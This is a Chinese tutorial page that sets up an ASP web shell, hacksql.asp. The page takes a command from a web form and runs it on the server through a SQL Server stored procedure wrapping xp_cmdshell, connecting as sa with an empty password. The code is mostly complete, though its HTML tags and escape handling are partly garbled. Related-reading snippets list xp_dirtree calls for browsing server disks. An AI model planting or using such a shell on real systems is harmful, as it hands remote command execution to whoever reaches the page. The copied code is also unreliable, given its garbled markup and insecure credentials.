利用sql的存储过程实现dos命令的asp程序

2016-01-29 20:16 7 1 收藏

利用sql的存储过程实现dos命令的asp程序,利用sql的存储过程实现dos命令的asp程序

【 tulaoshi.com - ASP 】

1、首先在sql里面你能够访问的数据库里面建立存储过程,比如说:ddy
如下:
CREATE PROCEDURE ddy
@cmd varchar(50)
AS
exec master..xp_cmdshell @cmd
2、asp程序里如下:(hacksql.asp)
<%
cmd=trim(Request.Form("cmd"))
if cmd<"" then
work()
else
show()
end if
function work()
set conn=server.CreateObject("adodb.connection")
set rs=server.CreateObject("adodb.recordset")
conn.Open "xx","sa",""
sql="exec ddy '"&cmd&"'"

rs.Open sql,conn
if not rs.EOF then
do while not rs.eof
Response.Write "<pre"&htmlencode2(trim(rs(0)))&"</pre"
rs.MoveNext
loop
else
Response.Write "no"
end if
if rs.State=1 then rs.close
set rs=nothing
conn.Close
set conn=nothing
end function
function show()
%
<form action=hacksql.asp method=post
请输入DOS命令:<input type=text name=cmd
<input type=submit value="ok"
</form
<%
end function
function htmlencode2(str)'--------转换函数(为了显示时比较工整)
dim result
dim l
if isnull(str) then
htmlencode2=""
exit function
end if
l=len(str)
result=""
dim i
for i = 1 to l
select case mid(str,i,1)
case "<"
result=result+"<"
case ""
result=result+""
case chr(34)
result=result+"""
case "&"
result=result+"&"
case chr(13)
result=result+"<br"
case chr(9)
result=result+" "
case "'"
result=result+"’"
case chr(32)
result=result+" "
if i+1<=l and i-10 then
if mid(str,i+1,1)=chr(32) or mid(str,i+1,1)=chr(9) or mid(str,i-1,1)=chr(32) or mid(str,i-1,1)=chr(9) then
result=result+" "
else
result=result+" "
end if
else
result=result+" "
end if
case else
result=result+mid(str,i,1)
end select
next
htmlencode2=result
end function
%

来源:http://www.tulaoshi.com/n/20160129/1510936.html

延伸阅读
获得MS SQL的版本号 execute master..sp_msgetversion 得到硬盘文件信息 参数说明:目录名,目录深度,是否显示文件 execute master..xp_dirtree 'c:' execute master..xp_dirtree 'c:',1 execute master..xp_dirtree 'c:',1,1 列出服务器上安装的所有OLEDB提供的程序 execute master..xp_...
标签: ASP
1、调用没有参数的存储过程 <% set conn=server.CreateObject("adodb.connection") set cmd=server.CreateObject("adodb.command") strconn="dsn=pubs;uid=sa;pwd" conn.Open strconn set cmd.ActiveConnection=conn cmd.CommandText="{call nono}" 'set rs=cmc.exe 或者cmd.execute set rs=cmd.Execute() % 2、一个输入的参数的存储过...
标签: ASP
  建立表: CREATE TABLE [TestTable] ( [ID] [int] IDENTITY (1, 1) NOT NULL , [FirstName] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , [LastName] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , [Country] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , [Note] [nvarchar] (2000) COLLATE Chinese_PRC_CI_...
标签: SQLServer
  存储过程、存储函数的加密:WITH ENCRYPTION <!--[if !supportLineBreakNewLine]-- <!--[endif]-- CREATE procedure dbo.sp_XML_main @table_name nvarchar(260)='', @dirname nvarchar(20)='' WITH ENCRYPTION as begin .................................................... end go     存储过程、存...
标签: ASP
  <!--#include file="inc\public.asp"-- <!--#include file="inc\conn.asp"-- <html <head <meta http-equiv="Content-Type" content="text/html; charset=gb2312" <title</title </head <body <% '----------------------------------- dim sp_common Set sp_common = Server.CreateObject("ADODB.Co...

经验教程

419

收藏

76
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部